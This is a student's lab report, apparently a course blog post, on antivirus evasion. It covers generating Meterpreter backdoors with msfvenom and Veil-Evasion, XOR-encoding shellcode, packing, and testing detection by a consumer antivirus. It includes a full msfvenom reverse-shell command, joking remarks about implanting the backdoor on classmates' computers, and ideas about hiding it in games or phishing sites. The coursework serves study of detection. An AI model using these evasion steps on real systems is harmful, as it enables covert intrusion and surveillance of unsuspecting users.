20154307《网络对抗》Exp3 免杀原理与实践

20154307《网络对抗》Exp3 免杀原理与实践

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。

启发式恶意软件检测

基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等。。

(2)免杀是做什么?

让攻击程序不被杀软查杀

(3)免杀的基本方法有哪些?

加壳

改变特征码

二、实践内容

我用的杀毒软件是腾讯电脑管家,版本如下

1、使用msf生成后门程序的检测

由于上一个实验我们已经用msf生成了一个后门程序,于是我就直接用上一个后门来检测

当然。。。结果是不容乐观的,毕竟上次的实验是在关闭杀软和防火墙的情况下做的。。。。

腾讯管家也无情查杀。。

用msf多次编译检测结果也一样,报病毒率很高,这里我就没有截图。。。。

2、使用veil-evasion生成后门程序的检测

首先啊,这个部分之前,我们要先安装veil-evasion

sudo apt-get install veil-evasion这个命令,安装之。。。

(过程中,下载速度和安装速度实在无力吐槽。。。。心累)

下载安装好以后,我们在终端输入veil

输入use 1进入如下界面


输入list,查看payload模板,嗯,挺多的,有41个。。。

这里我选择了6

如下图我更改了端口号和IP地址

我把它命名为4307

检测该文件,稍微好了一点,不枉我下载和安装了那么久的veil

腾讯依然无情。。。。。

3、利用shellcode编写后门程序的检测

在终端输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip PORT=端口号 -f exe > met.exe

把这段机器指令复制下来

我首先在linux情况下,生成了exe

检测结果不是很乐观啊。。。

腾讯也拦截了他

于是我在用codeblocks做了一遍,生成的exe检测结果比linux稍微好了一些

同时,腾讯沦陷了,哈哈哈

4、将shellcode异或

我把之前复制出来的机器指令,和43异或,这个可以在codeblocks实现。

把异或的结果输入buf,然后在主函数中将其在此异或

(老师不让放代码,那我就打一个码吧。。。)

大概就像上图那样。。。。。这个我是在linux下完成的。。

生成的exe检测。。结果。。。。。并没有我想象中那么好。。。

然后我用了codeblock。。。发现比linux下好一些。。。

我把异或的数字换成了17,发现结果稍微好了一些。。。。(这个是在codeblocks上做的)

当然,对shellcode的修改不止有异或,我们还可以逆序,或者把异或和逆序结合,我想这样可能报病毒的概率会更低。。。但由于时间有限,我也没做更多的尝试。。。。。。

以上三个exe,腾讯全部阵亡。。。。。,以下是我的回连结果。。。

可以回连的。。想到上一次实验的窥屏。。。。。。。把这个植入同学的电脑。。。嘿嘿嘿。。

下面是和杀软共生的截图

讲道理这个应该算是免杀了,至少我的腾讯管家杀不出来,但是别的厉害一些的杀软可能可以检测出来,原理就是改了这个的特征码,最后在主函数里通过异或将其还原了。

5、加壳

我把上一次veil生成的exe,加了壳。。。。额。。。

下面这个是加壳之前的。。。。。

崩溃了,边上的同学加壳以后报病毒是0。。。0。。。。

综上,这次实验就做完了。。

三、离实战还缺些什么技术或步骤?

我觉得shellcode的异或已经可以欺骗一部分用户了,例如360的用户。虽然报病毒的概率还有待降低。当然,把攻击程序装入靶机还是需要一定的技术的,例如把他藏在一个什么游戏之下(贪玩蓝月),或是一些钓鱼网站。。。。然后随着杀毒软件的库在不断更新,我们的技术也不能一直使用,也要同时去更新。

四、实验总结与体会

腾讯管家确实不够厉害,而且我们也不能完全把电脑的安全依赖于杀软,杀软只能用于病毒的防范,病毒的防范,还是要看自己,在上网,玩游戏的时候要有安全意识。

同时,我们做的免杀还是比较基础的,在免杀的制作和防范上,我们要走的路还是很远的。。。。

嗯,这次实验还是很有意思的。。。。

posted @ 2018-04-07 19:04  20154307  阅读(201)  评论(0编辑  收藏  举报